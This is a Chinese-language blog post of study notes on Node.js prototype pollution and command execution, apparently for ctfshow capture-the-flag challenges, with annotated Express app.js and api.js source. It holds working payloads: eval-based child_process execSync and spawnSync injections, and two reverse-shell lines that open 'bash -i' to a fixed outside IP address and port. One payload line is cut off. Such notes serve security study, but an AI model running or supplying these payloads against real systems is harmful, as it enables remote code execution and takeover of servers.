node.js 原型链污染小结

发布时间 2023-12-07 21:58:32作者: lisenMiller

attention:1.需要找到没有定义的回溯值。2.确保存在merge,copy等赋值的函数能够向上污染。3.注意回溯的情况必须是在copy或复制函数内的参数,需要多少个__proto__是根据这种复制来判断的

像一些链条是没有类似copy之类的赋值函数。可以直接通过调用的数量来判断例如 opt.output 这里就是需要两次的__proto__进行原型链污染

1.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

所以要如果要调用/bash or /sh 的话必须要引用模块然后根据语法执行命令

/?eval=require('child_process').execSync('ls')

一个是execSync做调用

/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

还有一个是spawnSync('ls',['参数']).stdout.toString()

注意:必须都是该大写的时候用大写

命令执行语法

return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\

return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')

2.nodejs 文件语句解析

app.js

// 导入所需模块
var createError = require('http-errors');  // 处理 HTTP 错误的模块
var express = require('express');  // Express 框架模块
var ejs = require('ejs');  // EJS 模板引擎模块
var path = require('path');  // 路径处理模块
var cookieParser = require('cookie-parser');  // 解析 Cookie 的模块
var logger = require('morgan');  // HTTP 请求日志记录模块
var session = require('express-session');  // Express 会话管理模块
var FileStore = require('session-file-store')(session);  // 会话存储模块

// 导入路由模块
var indexRouter = require('./routes/index');  // 主页路由模块
var loginRouter = require('./routes/login');  // 登录路由模块
var apiRouter = require('./routes/api');  // API 路由模块

var app = express();  // 创建 Express 应用程序实例

// 会话设置
var identityKey = 'auth';  // 会话标识键名

app.use(session({
  name: identityKey,  // 设置会话名称
  secret: 'ctfshow_session_secret',  // 会话密钥,用于加密会话数据
  store: new FileStore(),  // 会话存储方式为文件存储
  saveUninitialized: false,  // 不保存未初始化的会话
  resave: false,  // 不强制保存会话
  cookie: {
    maxAge: 60 * 60 * 1000  // 会话有效期,单位是毫秒
  }
}));

// 视图引擎设置
app.set('views', path.join(__dirname, 'views'));  // 设置视图文件夹路径
app.engine('html', require('ejs').__express);  // 使用 EJS 模板引擎
app.set('view engine', 'html');  // 设置视图引擎为 EJS

app.use(logger('dev'));  // 使用日志记录中间件
app.use(express.json());  // 解析请求体中的 JSON 数据
app.use(express.urlencoded({ extended: false }));  // 解析请求体中的 URL 编码数据
app.use(cookieParser());  // 使用 Cookie 解析中间件
app.use(express.static(path.join(__dirname, 'public')));  // 设置静态资源目录

app.use('/', indexRouter);  // 使用主页路由
app.use('/login', loginRouter);  // 使用登录路由
app.use('/api',apiRouter);  // 使用 API 路由

// 捕获 404 错误并转发到错误处理程序
app.use(function(req, res, next) {
  next(createError(404));
});

// 错误处理程序
app.use(function(err, req, res, next) {
  // 设置本地变量,仅在开发环境下提供错误信息
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // 渲染错误页面
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;  // 导出应用程序实例

api.js

//使用 Express 框架的路由文件

//在这部分代码中,首先引入了 express 模块,然后创建了一个路由对象 router。
var express = require('express');
var router = express.Router();
//引入了一个名为 utils(var utils) 的自定义工具模块。
var utils = require('../utils/common');



/* GET home page.  */
//通过 router.post() 方法定义了一个 POST 请求的处理函数,路径为 '/'。
router.post('/', require('body-parser').json(),function(req, res, next) {
  //通过 res.type('html') 设置响应的内容类型为 HTML。
  res.type('html');
  //然后,通过 res.render() 方法渲染名为 'api' 的视图模板,并传递一个包含 query 属性的对象作为参数。这里使用了 Function(query) 来创建一个函数,并立即调用该函数并传递 query 作为参数。这样做可能是为了在视图模板中使用 query 变量。
  res.render('api', { query: Function(query)(query)});       //函数名query,参数query
});

//通过 module.exports 将 router 对象导出,以便在其他文件中引入和使用。
module.exports = router;